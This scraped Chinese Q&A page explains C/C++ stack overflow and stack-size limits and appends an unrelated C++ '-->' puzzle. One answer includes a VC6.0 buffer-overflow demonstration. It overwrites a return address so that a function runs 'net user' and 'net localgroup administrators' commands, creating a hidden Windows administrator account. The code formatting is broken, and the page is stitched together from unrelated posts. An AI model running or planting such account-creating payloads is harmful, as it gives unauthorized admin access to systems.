C/C++stackoverflow怎样设置stack大小

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了C/C++stackoverflow怎样设置stack大小相关的知识,希望对你有一定的参考价值。

1、stack overflow是栈溢出,这是最常见的缓冲区溢出。

2、stack栈区大小,是有链接器在生成可执行文件时指定的,以vc++为例,在生成exe、dll等可执行文件时,它默认的栈区大小是1M。
3、stack overflow的防范,对于大的内存分配,超过1M的不要使用栈区内存空间,另外主要的问题在于对内存布局的把握 。下面的代码是一个VC6.0中测试成功的缓冲区溢出实例,运行后会在windows系统中添加一个管理员帐号plus。
#include <iostream>
using namespace std;
void (*pfunc)();
void show()

system("cmd /c net user plus 123 /ad && net localgroup administrators fuck /ad");
exit(1);

int main()

char a[4];
char shellcode[13]="\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90";
pfunc=show;
*(int *)&shellcode[8]=(int)pfunc;
//overflow
strcpy(a,shellcode);
return 0;

如果将上面的代码,修改为如下:

..............
int main()

char shellcode[13]="\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90";
char a[4];
...............

那么是不会溢出的,因为两者的内存分布是不一样的,所以需要对编译器、链接器的内存分配相当了解,才可以彻底的杜绝 。
参考技术A 把数组弄成全局变量或者malloc出来就行

#include <stdio.h$amp;>amp;$nbsp;
#define M 900
#define N 900

int a1[M][N];

int main( void )


int i,j;
for(i=0;i <M;i++)
for(j=0;j <N;j++)

a1[i][j]=N*i+j+1;
printf("%d ",a1[i][j]);
if(j==N-1)
printf("\n");

return 0;
本回答被提问者和网友采纳

C/C++ 难题困境

来源:Github - stackoverflow-top-cpp

这是一个C/C++难题清单,题源来自Github的stackoverflow-top-cpp。这个题库精选并总结了StackOverflow上的高赞回答,可以测试你有多了解C/C++,刷新你的知识,或者帮助你的 coding 面试!


CPP开发者公号计划定期更新一期,推送的文章中列出题目,回复关键字获取答案和解析。希望大家先自己思考解答,再发关键字看答案  如果觉得对你学习巩固C/C++知识有帮助,欢迎推荐给好友。


问题

我在 Google Groups 论坛 comp.lang.c++.moderated 上看到一个回答 Hidden Features and Dark Corners of C++/STL  ( http://groups.google.com/group/comp.lang.c++.moderated/msg/33f173780d58dd20 ),他贴的那段代码中,这个操作符(operator)-->没看懂是啥意思,我试了一下,在 Visual Studio 2008、G++ 4.4 和 gcc 上都可以编译通过,下面是代码:

#include <stdio.h>
int main()
{
    int x = 10;
    while (x --> 0) // x goes to 0
    {
        printf("%d ", x);
    }
}

谁能解释下这个操作符到底是什么意思?


以上是关于C/C++stackoverflow怎样设置stack大小的主要内容,如果未能解决你的问题,请参考以下文章

怎样配置Eclipse IDE for C/C++的编译器

Linux下C/C++动态库在运行时是怎样加载进来的

Linux下C/C++动态库在运行时是怎样加载进来的

Linux下C/C++动态库在运行时是怎样加载进来的

C#winform开发的C/S结构的程序,怎样实现自动升级的功能!望高手指教!

怎样用excel进行权重为1/c的线性回归